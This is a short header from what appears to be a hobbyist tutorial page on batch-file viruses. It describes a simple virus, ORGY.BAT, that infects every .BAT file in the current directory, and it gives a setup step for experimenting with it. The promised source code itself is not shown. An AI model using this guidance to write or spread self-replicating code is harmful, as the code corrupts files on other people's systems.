Tutorials - Ye Olde Art of Ye Batch Viruses - ORGY Virus Code

:: ORGY.BAT Virus source code
::
:: Below is the source code for a very simple batch virus. When executed, the virus infects all the .BAT files in the current         :: directory. It doesn't re-infect files but it cannot infect files that are already read-only, system, or hidden.
::
:: If you want to experiment with this virus you must first make the virus file ORGY.BAT is read-only (with the ATTRIB +R ORGY.BAT    :: treatment.) This prevents the virus from re-infecting itself.
::
:: The virus is named after the American industrial/synth/metal band that supported KoRn on their 1999 Follow the Leader tour.
